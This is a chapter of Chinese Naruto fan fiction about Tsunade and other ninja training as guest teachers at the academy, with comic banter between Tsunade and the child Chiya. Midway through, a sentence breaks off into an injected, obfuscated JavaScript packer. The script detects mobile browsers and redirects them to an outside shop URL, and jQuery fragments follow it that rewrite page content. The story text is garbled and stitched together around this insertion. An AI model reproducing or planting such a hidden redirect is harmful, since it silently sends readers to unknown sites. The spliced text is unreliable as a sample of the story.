“如果学生们在课堂上飞纸飞机,那么作为一名老师,在看到这样的景象后应当如何处理呢?”


    随着新的学期拉开序幕,某间教室里,站在讲台上的忍校资深教师正在对报名支教活动的10多名忍者进行紧急培训。培训内容主要包括身份转变过程中,各位临时教师们理应具备的基础职业道德,以及课堂上各种突发事件的应急处理方法。


    按照预期,这些忍者在顺利通过培训和考核后,将根据其专长针对性地教授选择相应特设学科的学生,当忍校教师人手不足时,他们也会化身为临时的文化学科的老师,向学生们授课。


    这是三代目火影在纲手提出“在学校发掘有天赋的医疗忍者”的启发下做出的变革。


    忍者可以通过操控身体能量与精神能量释放忍术、体术、幻术,其中忍术还能进一步分出五遁忍术,按照类型可以划分为攻击、防御与辅助三种。


    但在这个世界上,真正能掌握各种术的全面型人才少之又少。当下,忍校教师们的能力足以为学生们打下基础,但难以为学生们提供更具针对性的教学拔高。支教教师们的作用便是尽可能地补足这方面的短板,让学生们的长处尽可能地得到发展,从而提升忍校毕业生的质量。


    猿飞日斩推行改革的过程中自然也遭到了来自老战友的阻力——他认为专业的人做专业的事,做任务的忍者不应该掺和进忍校的教育管理。但好在,他成功地用“取消设立女忍班”作为交换,达成了目的。


    没听出来团藏阴阳怪气自己也同样不应该掺和进他,志村团藏,木叶校长管理的事务中、学生们的教育应当由校长全权负责这层含义,沉浸于能和团藏携手“干事业”的三代目火影心里美滋滋的。


    纲手在脑海中自动生成古蹊千弥课上飞飞机的画面,她扬言道,“当然是一拳教小鬼们做人。”


    心潮澎湃,纲手的拳头挥出嗖嗖的破空声,不仅讲台上的教师见了背脊发凉,连坐在纲手两边的“同桌”们也忍不住地偏头侧身,生怕风压或肘击擦在身上。


    对教育充满热情,对学生们更是充满了爱意的老师双手拍在讲台上,气势十足地怒吼,“完全不对!这种时候身为教师应该以理服人,对少不更事的学生们进行爱的感化!”


    纲手不甘示弱地回击,“如果我的道行高深到连那种顽童都能感化,不如去做菩萨好了!”


    “‘那种顽童’?纲手姬的指向似乎很明确啊。”坐在后一排的旗木朔茂看着针锋相对的两个人,嘴角抽搐——培训老师原本柔顺的头发此刻像松树的松针一样,根根耸立。


    公然和老师顶嘴,纲手的态度真的能通过培训吗?


    “嘛,毕竟是来对学生们进行医疗忍术启蒙的,而且还是我们这些人当中唯一的医疗忍者,通过是必然的吧。”


    他们中的绝大多数忍者是响应三代目火影的号召才申请成为忍校支教教师、任务之余在忍校授课的,纲手不同,她是带着培育医疗忍者的任务来的。


    宇智波镜往后倾着身体,看向角落里的加藤断,好奇地问道,“断怎么坐在那么偏僻的位置?”


    旗木朔茂也摸不着头脑,“不知怎么的,他最近似乎和谁都离得很远。”


    比起自己口头的“独身主义”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17195905|194874||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,这个词倒像是在断的身上彻底具象化了。


    “?”宇智波镜不明觉厉地发出感叹,“这可一点也不像他啊。”


    最后,纲手还是在开学一周内顺利拿到了教师证,在三代目火影积极的斡旋之下。


    “四年级的学生有难了。”看到纲手来自己面前,特地用手指弹了弹那纸只有巴掌大的双折证明,看清了里面的字,千弥低头为鹿久他们哀悼。


    “是你有难了,小混蛋!”纲手提溜起眼前这个没有一点自觉性的小兔崽子,“课上不乖的话,我会把情况统统汇报给水户奶奶。”


    “都这么大的人了,竟然还告状!”在路上晃悠,试图偶遇汪酱的千弥不可置信地睁圆眼睛,“我可是打小就不告状。”


    “有本事倒是夸自己一句‘打小乖到大’啊!”被气笑的纲手夹着千弥,“今天去奶奶家吃饭,金毛小子已经派那只海鸥通知过了。你就跟我走吧。”


    “庆祝我们入学一周?”


    “是庆祝我(重音)成功拿到合格证明!”


    “哇!我本来就笨笨的,你这样会把我敲得更笨的。”千弥拿来玖辛奈的话学以致用,诘责小侄女,“身为老师,你不是应该好好对待木叶未来的花朵,珍惜我这朵娇花吗?”


    “你?娇花?还珍惜?”纲手被千弥粘乎乎的话电得浑身发麻,她一脸嫌弃地扭过头,冷漠地回答,“按理应当这样,但你不一样,你是霸王花。”


    “我觉得我还是很爱干净的。”千弥低头在自己的衣领上嗅了嗅,是洗衣粉的清香。


    纲手:“……”她怀疑古蹊千弥在跟她装傻充愣。